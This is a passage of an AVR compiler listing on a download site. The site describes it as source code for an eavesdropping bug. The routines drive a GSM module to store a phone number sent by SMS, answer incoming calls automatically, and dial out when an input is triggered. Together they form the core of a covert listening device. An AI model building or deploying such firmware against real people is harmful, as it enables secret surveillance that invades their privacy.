⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 detectaphone.lst

📁 一个关于窃听器源代码(使用PROTEUS串口例子)
💻 LST
📖 第 1 页 / 共 4 页
字号:
    0369 2022      TST	R2
    036A F3E1      BEQ	0x0367
(0306) 	DelayMs(100);
    036B E604      LDI	R16,0x64
    036C E010      LDI	R17,0
    036D D16F      RCALL	_DelayMs
(0307) 
(0308) 	if(StringCompare(RxBuf,SMSin,SMSinLen))      // 如果收到OK完成    +CMTI: "SM", 1
    036E E08E      LDI	R24,0xE
    036F 8388      STD	Y+0,R24
    0370 E52C      LDI	R18,0x5C
    0371 E031      LDI	R19,1
    0372 EC07      LDI	R16,0xC7
    0373 E010      LDI	R17,0
    0374 DF9B      RCALL	_StringCompare
    0375 2300      TST	R16
    0376 F011      BEQ	0x0379
(0309) 	{
(0310) 		return (OK);
    0377 E001      LDI	R16,1
    0378 C001      RJMP	0x037A
(0311) 	}
(0312) 	else
(0313) 	{
(0314) 	    return (ERROR);
    0379 2700      CLR	R16
    037A 9621      ADIW	R28,1
    037B 9508      RET
_CheckSMS:
  numlen               --> R22
  j                    --> R22
  index                --> R22
  i                    --> R20
    037C D1D6      RCALL	push_gset2
(0315) 	}
(0316) 
(0317) }
(0318) /*-----------------------------------------------------------------------*/
(0319) ///////////////              将设置号码存入内存           /////////////////
(0320) /*-----------------------------------------------------------------------*/
(0321) void CheckSMS(void)
(0322) {
(0323)     unsigned char i=0,j=0,index,numlen=0;
    037D 2744      CLR	R20
    037E 2766      CLR	R22
(0324) 	for(;i<12;i++)
    037F C009      RJMP	0x0389
(0325) 	{
(0326) 	    PhoneNum[i] = 0;
    0380 E680      LDI	R24,0x60
    0381 E090      LDI	R25,0
    0382 2FE4      MOV	R30,R20
    0383 27FF      CLR	R31
    0384 0FE8      ADD	R30,R24
    0385 1FF9      ADC	R31,R25
    0386 2422      CLR	R2
    0387 8220      STD	Z+0,R2
    0388 9543      INC	R20
    0389 304C      CPI	R20,0xC
    038A F3A8      BCS	0x0380
(0327) 	}
(0328) /*    do
(0329) 	{
(0330) 	    i++;
(0331) 		j=i+1;
(0332) 	}
(0333) 	//while((Pdu[i] == 'G') && (Pdu[j] == 'H'));
(0334) 	
(0335) 	index = j+1;
(0336) 	i = index;
(0337) 	while(Pdu[i++] == '+')numlen++;
(0338) 	
(0339) 	j = 79; */
(0340) 	
(0341) 	index = 79;
    038B E46F      LDI	R22,0x4F
(0342) 	for(i=0;i<11;i++)
    038C 2744      CLR	R20
    038D C013      RJMP	0x03A1
(0343) 	{
(0344) 	    PhoneNum[i] = Pdu[index++];
    038E 2E26      MOV	R2,R22
    038F 2433      CLR	R3
    0390 5F6F      SUBI	R22,0xFF
    0391 E487      LDI	R24,0x47
    0392 E091      LDI	R25,1
    0393 2DE2      MOV	R30,R2
    0394 27FF      CLR	R31
    0395 0FE8      ADD	R30,R24
    0396 1FF9      ADC	R31,R25
    0397 8020      LDD	R2,Z+0
    0398 E680      LDI	R24,0x60
    0399 E090      LDI	R25,0
    039A 2FE4      MOV	R30,R20
    039B 27FF      CLR	R31
    039C 0FE8      ADD	R30,R24
    039D 1FF9      ADC	R31,R25
    039E 8220      STD	Z+0,R2
(0345) 		PhoneNum_to_EEPROM();
    039F D17F      RCALL	_PhoneNum_to_EEPROM
    03A0 9543      INC	R20
    03A1 304B      CPI	R20,0xB
    03A2 F358      BCS	0x038E
    03A3 D1A1      RCALL	pop_gset2
    03A4 9508      RET
(0346)     }
(0347) 	
(0348) }	
(0349) unsigned char CheckPhoneNum(void)
(0350) {
(0351)     unsigned char i;
(0352) 	for(i=0;i<12;i++)
_CheckPhoneNum:
  i                    --> R16
    03A5 2700      CLR	R16
    03A6 C008      RJMP	0x03AF
(0353) 	{
(0354) 	    if( PhoneNum != 0) return (FALSE);
    03A7 E680      LDI	R24,0x60
    03A8 E090      LDI	R25,0
    03A9 3080      CPI	R24,0
    03AA 0789      CPC	R24,R25
    03AB F011      BEQ	0x03AE
    03AC 2700      CLR	R16
    03AD C004      RJMP	0x03B2
    03AE 9503      INC	R16
    03AF 300C      CPI	R16,0xC
    03B0 F3B0      BCS	0x03A7
(0355) 	}
(0356) 	return (TRUE);
    03B1 E001      LDI	R16,1
    03B2 9508      RET
_RecSMS:
  j                    --> R20
  y                    --> R10
  x                    --> R12
  i                    --> R22
  count                --> R14
    03B3 D199      RCALL	push_gset5
(0357) }
(0358) /*-----------------------------------------------------------------------*/
(0359) //////////////////////////    接收处理短信息    ///////////////////////////
(0360) /*-----------------------------------------------------------------------*/
(0361) void RecSMS(void)
(0362) {
(0363)     unsigned char count,i=0,j=0,x,y;
    03B4 2766      CLR	R22
    03B5 2744      CLR	R20
(0364) 	
(0365)     Put_AT_String("AT+CMGR=1",9);
    03B6 E029      LDI	R18,0x9
    03B7 E90B      LDI	R16,0x9B
    03B8 E010      LDI	R17,0
    03B9 DE7B      RCALL	_Put_AT_String
    03BA C001      RJMP	0x03BC
(0366) 	
(0367)     while(RxBuf[i] != 0x0D)
(0368) 	{
(0369) 	    i++;
    03BB 9563      INC	R22
    03BC EC87      LDI	R24,0xC7
    03BD E090      LDI	R25,0
    03BE 2FE6      MOV	R30,R22
    03BF 27FF      CLR	R31
    03C0 0FE8      ADD	R30,R24
    03C1 1FF9      ADC	R31,R25
    03C2 8180      LDD	R24,Z+0
    03C3 308D      CPI	R24,0xD
    03C4 F7B1      BNE	0x03BB
(0370) 	}
(0371) 	i = 76;
    03C5 E46C      LDI	R22,0x4C
(0372) 	j = i;
    03C6 2F46      MOV	R20,R22
(0373) 	if((RxBuf[i] == 'G') && (RxBuf[j+1] == 'H'))
    03C7 EC87      LDI	R24,0xC7
    03C8 E090      LDI	R25,0
    03C9 2FE6      MOV	R30,R22
    03CA 27FF      CLR	R31
    03CB 0FE8      ADD	R30,R24
    03CC 1FF9      ADC	R31,R25
    03CD 8180      LDD	R24,Z+0
    03CE 3487      CPI	R24,0x47
    03CF F009      BEQ	0x03D1
    03D0 C035      RJMP	0x0406
    03D1 EC88      LDI	R24,0xC8
    03D2 E090      LDI	R25,0
    03D3 2FE4      MOV	R30,R20
    03D4 27FF      CLR	R31
    03D5 0FE8      ADD	R30,R24
    03D6 1FF9      ADC	R31,R25
    03D7 8180      LDD	R24,Z+0
    03D8 3488      CPI	R24,0x48
    03D9 F009      BEQ	0x03DB
    03DA C02B      RJMP	0x0406
(0374)     {	
(0375)         count = 0;
    03DB 24EE      CLR	R14
    03DC C024      RJMP	0x0401
(0376) 	    while(1)
(0377) 	    {
(0378) 	        Pdu[count] = RxBuf[count];
    03DD EC87      LDI	R24,0xC7
    03DE E090      LDI	R25,0
    03DF 2DEE      MOV	R30,R14
    03E0 27FF      CLR	R31
    03E1 0FE8      ADD	R30,R24
    03E2 1FF9      ADC	R31,R25
    03E3 8020      LDD	R2,Z+0
    03E4 E487      LDI	R24,0x47
    03E5 E091      LDI	R25,1
    03E6 2DEE      MOV	R30,R14
    03E7 27FF      CLR	R31
    03E8 0FE8      ADD	R30,R24
    03E9 1FF9      ADC	R31,R25
    03EA 8220      STD	Z+0,R2
(0379) 			x = count;
    03EB 2CCE      MOV	R12,R14
(0380) 			y = count;
    03EC 2CAE      MOV	R10,R14
(0381) 		    if((RxBuf[x-2] == 0x30) && (RxBuf[y-1] == 0x0D)) 
    03ED EC85      LDI	R24,0xC5
    03EE E090      LDI	R25,0
    03EF 2DEC      MOV	R30,R12
    03F0 27FF      CLR	R31
    03F1 0FE8      ADD	R30,R24
    03F2 1FF9      ADC	R31,R25
    03F3 8180      LDD	R24,Z+0
    03F4 3380      CPI	R24,0x30
    03F5 F451      BNE	0x0400
    03F6 EC86      LDI	R24,0xC6
    03F7 E090      LDI	R25,0
    03F8 2DEA      MOV	R30,R10
    03F9 27FF      CLR	R31
    03FA 0FE8      ADD	R30,R24
    03FB 1FF9      ADC	R31,R25
    03FC 8180      LDD	R24,Z+0
    03FD 308D      CPI	R24,0xD
    03FE F409      BNE	0x0400
(0382) 		    {
(0383) 		    break;
    03FF C002      RJMP	0x0402
(0384) 	        }
(0385) 		    count++;
    0400 94E3      INC	R14
    0401 CFDB      RJMP	0x03DD
(0386) 	    }
(0387) 		CheckSMS();
    0402 DF79      RCALL	_CheckSMS
(0388) 		Delete_SMS(1);
    0403 E001      LDI	R16,1
    0404 DF22      RCALL	_Delete_SMS
(0389) 		
(0390)     }
    0405 C002      RJMP	0x0408
(0391) 	else 
(0392) 	{
(0393) 	    Delete_SMS(1);
    0406 E001      LDI	R16,1
    0407 DF1F      RCALL	_Delete_SMS
(0394) 	}
    0408 D142      RCALL	pop_gset5
    0409 9508      RET
_DetQEITING:
  tmp                  --> Y+0
    040A 9721      SBIW	R28,1
(0395) }
(0396) 
(0397) unsigned char DetQEITING(void)
(0398) {
(0399)     volatile unsigned char tmp;
(0400) 	
(0401)     if(!(DetQT()))
    040B 9982      SBIC	0x10,2
    040C C00C      RJMP	0x0419
(0402)     {
(0403) 	    release = 0;
    040D 2422      CLR	R2
    040E 92200074  STS	release,R2
(0404) 	    DelayMs(10);
    0410 E00A      LDI	R16,0xA
    0411 E010      LDI	R17,0
    0412 D0CA      RCALL	_DelayMs
(0405) 		
(0406) 		if(!(DetQT())) {DettqFlag = 1;}
    0413 9982      SBIC	0x10,2
    0414 C007      RJMP	0x041C
    0415 E081      LDI	R24,1
    0416 93800073  STS	DettqFlag,R24
(0407)     }
    0418 C003      RJMP	0x041C
(0408) 	else 
(0409) 	{
(0410) 	    release = 1;
    0419 E081      LDI	R24,1
    041A 93800074  STS	release,R24
(0411) 	}
(0412) 			
(0413) 	if(release && DettqFlag)
    041C 90200074  LDS	R2,release
    041E 2022      TST	R2
    041F F069      BEQ	0x042D
    0420 90200073  LDS	R2,DettqFlag
    0422 2022      TST	R2
    0423 F049      BEQ	0x042D
(0414) 	{
(0415) 	    DettqFlag = 0;
    0424 2422      CLR	R2
    0425 92200073  STS	DettqFlag,R2
(0416) 		CplLED();
    0427 E081      LDI	R24,1
    0428 B228      IN	R2,0x18
    0429 2628      EOR	R2,R24
    042A BA28      OUT	0x18,R2
(0417) 
(0418) 		return (TRUE);
    042B E001      LDI	R16,1
    042C C001      RJMP	0x042E
(0419) 		
(0420) 	}
(0421) 	return (FALSE);
    042D 2700      CLR	R16
    042E 9621      ADIW	R28,1
    042F 9508      RET
(0422) }
(0423) 
(0424) void IGT(unsigned char n)
(0425) {
(0426)     if(n)
_IGT:
  n                    --> R16
    0430 2300      TST	R16
    0431 F019      BEQ	0x0435
(0427) 	{
(0428) 	    PORTD &= ~(1<<PD6);
    0432 9896      CBI	0x12,6
(0429) 		DDRD |= (1<<PD6);
    0433 9A8E      SBI	0x11,6
(0430) 	}
    0434 C001      RJMP	0x0436
(0431) 	else
(0432) 	{
(0433) 	    DDRD &= ~(1<<PD6);
    0435 988E      CBI	0x11,6
(0434) 	}
    0436 9508      RET
(0435) }
(0436) 			
(0437) void work(void)
(0438) {
_work:
    0437 C02D      RJMP	0x0465
(0439)     while(1)
(0440) 	{
(0441) 	    if(CheckSMS_in())
    0438 DF2D      RCALL	_CheckSMS_in
    0439 2300      TST	R16
    043A F009      BEQ	0x043C
(0442) 		{
(0443) 		    RecSMS();
    043B DF77      RCALL	_RecSMS
(0444) 	    }
(0445) 		if(CallInFlag) 
    043C 90200070  LDS	R2,CallInFlag
    043E 2022      TST	R2
    043F F039      BEQ	0x0447
(0446) 		{
(0447) 		    Put_AT_command(Ata,AtaLen);
    0440 E023      LDI	R18,3
    0441 E209      LDI	R16,0x29
    0442 E010      LDI	R17,0
    0443 DDB5      RCALL	_Put_AT_command
(0448) 		    CallInFlag = 0;
    0444 2422      CLR	R2
    0445 92200070  STS	CallInFlag,R2
(0449) 		}
(0450) 		if((BusyFlag) || (NoCarrierFlag))  
    0447 90200072  LDS	R2,BusyFlag
    0449 2022      TST	R2
    044A F421      BNE	0x044F
    044B 90200071  LDS	R2,NoCarrierFlag
    044D 2022      TST	R2
    044E F059      BEQ	0x045A
(0451) 		{
(0452) 		    Put_AT_command(Ath,AthLen);
    044F E023      LDI	R18,3
    0450 E20D      LDI	R16,0x2D
    0451 E010      LDI	R17,0
    0452 DDA6      RCALL	_Put_AT_command
(0453) 			CallOut = 0;
    0453 2422      CLR	R2
    0454 92200075  STS	CallOut,R2
(0454) 			BusyFlag = 0;
    0456 92200072  STS	BusyFlag,R2
(0455) 			NoCarrierFlag = 0;
    0458 92200071  STS	NoCarrierFlag,R2
(0456) 		}
(0457) 		if(DetQEITING() && (!CallOut))
    045A DFAF      RCALL	_DetQEITING
    045B 2300      TST	R16
    045C F041      BEQ	0x0465
    045D 90200075  LDS	R2,CallOut
    045F 2022      TST	R2
    0460 F421      BNE	0x0465
(0458) 		{
(0459) 		    CallOut = 1;
    0461 E081      LDI	R24,1
    0462 93800075  STS	CallOut,R24
(0460) 		    DialNum();
    0464 DE52      RCALL	_DialNum
    0465 CFD2      RJMP	0x0438
    0466 9508      RET
_InitMC55:
  tmp                  --> Y+2
    0467 9721      SBIW	R28,1
(0461) 		}
(0462) 	}
(0463) }
(0464) /*-----------------------------------------------------------------------*/
(0465) /////////////////////////////  初始化MC55    //////////////////////////////
(0466) /*-----------------------------------------------------------------------*/
(0467) void InitMC55(void)
(0468) {
(0469)  	unsigned char tmp;
(0470)     IGT(OFF);                                   
    0468 2700      CLR	R16
    0469 DFC6      RCALL	_IGT
(0471)     DelayMs(500);  	   			   			  // 置低MC55 IGT口 200mS ,启动MC55模块
    046A EF04      LDI	R16,0xF4
    046B E011      LDI	R17,1
    046C D070      RCALL	_DelayMs
(0472) 	IGT(ON);
    046D E001      LDI	R16,1
    046E DFC1      RCALL	_IGT
(0473)     DelayMs(500);
    046F EF04      LDI	R16,0xF4
    0470 E011      LDI	R17,1
    0471 D06B      RCALL	_DelayMs
(0474)     IGT(OFF);                                   
    0472 2700      CLR	R16
    0473 DFBC      RCALL	_IGT
(0475) 
(0476) 
(0477) //	DelayMs(1000);                             // 等待模块启动
(0478) 	
(0479) 
(0480) 	ClrRTS();
    0474 9894      CBI	0x12,4
(0481)     DelayMs(50);                              // 激活MC55串口
    0475 E302      LDI	R16,0x32
    0476 E010      LDI	R17,0
    0477 D065      RCALL	_DelayMs
(0482) 	SetRTS();
    0478 9A94      SBI	0x12,4
(0483) 	DelayMs(50);
    0479 E302      LDI	R16,0x32
    047A E010      LDI	R17,0
    047B D061      RCALL	_DelayMs
(0484) 	ClrRTS();

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -